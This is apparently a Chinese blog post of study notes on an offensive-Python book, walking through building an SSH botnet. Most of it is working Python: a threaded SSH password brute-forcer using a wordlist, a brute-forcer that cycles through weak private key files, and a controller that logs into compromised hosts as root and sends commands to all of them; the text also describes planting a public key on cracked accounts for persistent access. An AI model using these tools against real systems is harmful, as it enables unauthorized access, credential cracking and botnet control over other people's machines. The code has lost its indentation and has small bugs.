成为顶级黑客--python绝技 阅读笔记(五)

Python构建一个SSH僵尸网络

可以看一下我们自己的网站的入侵检测系统(IDE)日志/var/log/auth.log中最近的SSH攻击记录,我们可以观察到:攻击者试图使用用户登录系统,远程IP正试图暴力生成密码破解密码。

成为顶级黑客--python绝技 阅读笔记(五)

实现暴力破解的SSH蠕虫

我们使用一个第三方模块--Pexpect,它可以实现与程序交互,等待预期的屏幕输出,并据此做出不同的响应。

利用pexpect库进行SSH连接

这个步骤本质上讲的就是不用每次都输入yes,或者是人工输入ssh root' '127.0.0.1' ',就是直接运行脚本连接。

输入:用户名 主机名 密码 例如 root '127.0.0.1' 123456

输出:超时,主机已使用新的公钥或者验证通过

import pexpect
PROMPT = ['# ', '>>> ', '> ', "\$ "]

def sen_command(child, cmd):
 child.sendline(cmd)
 child.expect(PROMPT)
 print(child.before)

def connect(user, host, password):
 ssh_newkey = 'are you sure you want to continue connecting'
 conn_str = 'ssh ' + user + '@' + host
 child = pexpect.spawn(conn_str)
 ret = child.expect([pexpect.TIMEOUT, ssh_newkey, '[P|p]assword:'])
 if ret == 0:
 print('[-] error connecting')
 return

 if ret == 1:
 child.sendline('yes')
 ret = child.expect([pexpect.TIMEOUT, '[P|p]assword:'])

 if ret == 0:
 print('[-] error connecting')
 return

 child.sendline(password)
 child.expect(PROMPT)
 return child

执行暴力破解任务

整体思路是将上面静态输入的用户名,密码,改成暴力破解中字典中需要遍历尝试的用户名和密码们,我们在connect方法中加入反馈机制,如果connect反馈不可以连接那么继续换用户名和密码们。本例只涉及对特定用户名,我们暴力破解特定用户的密码。

from pexpect import pxssh
import optparse
import time
from threading import *

maxconnections = 5
connectionlock = BoundedSemaphore(value=maxconnections)

isfound = False
fails = 0


def connect(host, user, password, release):
 global isfound
 global fails

 try:
 s = pxssh.pxssh()
 s.login(host, user, password)
 print('[+] Password Found: ' + password)
 Found = True
 except Exception as e:
 if 'read_nonblocking' in str(e):
 fails += 1
 time.sleep(5)
 connect(host, user, password, False)
 elif 'synchronize with original prompt' in str(e):
 time.sleep(1)
 connect(host, user, password, False)

 finally:
 if release: connectionlock.release()


def main():
 parser = optparse.OptionParser('usage %prog -H  -u  -F ')
 parser.add_option('-H', dest='tgtHost', type='string', help='specify target host')
 parser.add_option('-F', dest='passwdFile', type='string', help='specify password file')
 parser.add_option('-u', dest='user', type='string', help='specify the user')

 (options, args) = parser.parse_args()
 host = options.tgtHost
 passwdFile = options.passwdFile
 user = options.user

 if host == None or passwdFile == None or user == None:
 print(parser.usage)
 exit(0)

 fn = open(passwdFile, 'r')
 for line in fn.readlines():

 if isfound:
 print("[*] Exiting: Password Found")

 exit(0)
 if fails > 5:
 print("[!] Exiting: Too Many Socket Timeouts")
 exit(0)

 connectionlock.acquire()
 password = line.strip('\r').strip('\n')
 print("[-] Testing: " + str(password))
 t = Thread(target=connect, args=(host, user, password, True))
 child = t.start()


if __name__ == '__main__':
 main()

SSH弱密钥

成为顶级黑客--python绝技 阅读笔记(五)

生成一对密钥

利用密钥生成器制作一对密钥:公钥和私钥。将公钥添加到服务器的某个账户上,然后在客户端利用私钥即可完成认证并登录。如果没有私钥,即使通过SSH 暴力破解出密码也无法远程登录系统。此外,如果将公钥复制到其他账户甚至主机,利用私钥也可以登录。意思就是上一个步骤用暴力破解密码后,我们需要把公钥复制到被破解用户的ssh文件下,这样我们可以在自己电脑上连接它的服务器了。

#!/usr/bin/python
# -*- coding: utf-8 -*-
import pexpect
import optparse
import os
from threading import *

maxconnections = 5
connectionlock = BoundedSemaphore(value=maxconnections)
stop = False
fails = 0


def connect(user, host, keyfile, release):
 global stop
 global fails
 try:
 perm_denied = 'Permission denied'
 ssh_newkey = 'Are you sure you want to continue'
 conn_closed = 'Connection closed by remote host'
 opt = ' -o PasswordAuthentication=no'##
 connStr = 'ssh ' + user + '@' + host + ' -i ' + keyfile + opt
 child = pexpect.spawn(connStr)
 ret = child.expect([pexpect.TIMEOUT, perm_denied, ssh_newkey, conn_closed, '$', '#', ])
 if ret == 2:
 print('[-] Adding Host to ~/.ssh/known_hosts')
 child.sendline('yes')
 connect(user, host, keyfile, False)##kryfile 1024,2048,4096密钥文件
 elif ret == 3:
 print('[-] Connection Closed By Remote Host')
 fails += 1
 elif ret > 3:
 print('[+] Success. ' + str(keyfile))
 stop = True
 finally:
 if release:
 connectionlock.release()


def main():
 parser = optparse.OptionParser('usage %prog -H  -u  -d ')
 parser.add_option('-H', dest='tgtHost', type='string', help='specify target host')
 parser.add_option('-d', dest='passDir', type='string', help='specify directory with keys')
 parser.add_option('-u', dest='user', type='string', help='specify the user')

 (options, args) = parser.parse_args()
 host = options.tgtHost
 passDir = options.passDir
 user = options.user

 if host == None or passDir == None or user == None:
 print(parser.usage)
 exit(0)

 for filename in os.listdir(passDir):
 if stop:
 print('[*] Exiting: Key Found.')
 exit(0)
 if fails > 5:#IPS阻止连接
 print('[!] Exiting: Too Many Connections Closed By Remote Host.')
 print('[!] Adjust number of simultaneous threads.')
 exit(0)
 connectionlock.acquire()
 fullpath = os.path.join(passDir, filename)
 print('[-] Testing keyfile ' + str(fullpath))
 t = Thread(target=connect, args=(user, host, fullpath, True))
 child = t.start()


if __name__ == '__main__':
 main()

构建僵尸网络

被黑掉的计算机群,叫做僵尸网络,并且其中每个计算机都有能连接某台肉机,并把命令发送给肉机的能力。需要构造一个全局数组储存僵尸计算机信息,然后发布命令时,遍历整个数组。

成为顶级黑客--python绝技 阅读笔记(五)

深信服僵尸网络云检测平台

#!/usr/bin/python
# -*- coding: utf-8 -*-
from pexpect import pxssh


class Client:
 def __init__(self, host, user, password):
 self.host = host
 self.user = user
 self.password = password
 self.session = self.connect()

 def connect(self):
 try:
 s = pxssh.pxssh()
 s.login(self.host, self.user, self.password)
 return s
 except Exception as e:
 print(e)
 print('[-] error connecting')

 def send_command(self, cmd):
 self.session.sendline(cmd)
 self.session.prompt()
 return self.session.before


def botnetCommand(command):
 for client in botNet:
 output = client.send_command(command)
 print('[*] Output from ' + client.host)
 print('[+] ' + output)


def addClient(host, user, password):
 client = Client(host, user, password)
 botNet.append(client)


botNet = []
addClient('127.0.0.1', 'root', 'toor')
addClient('127.0.0.1', 'root', 'toor')
addClient('127.0.0.1', 'root', 'toor')

botnetCommand('uname -v')
botnetCommand('cat /etc/issue')


分享到:


相關文章: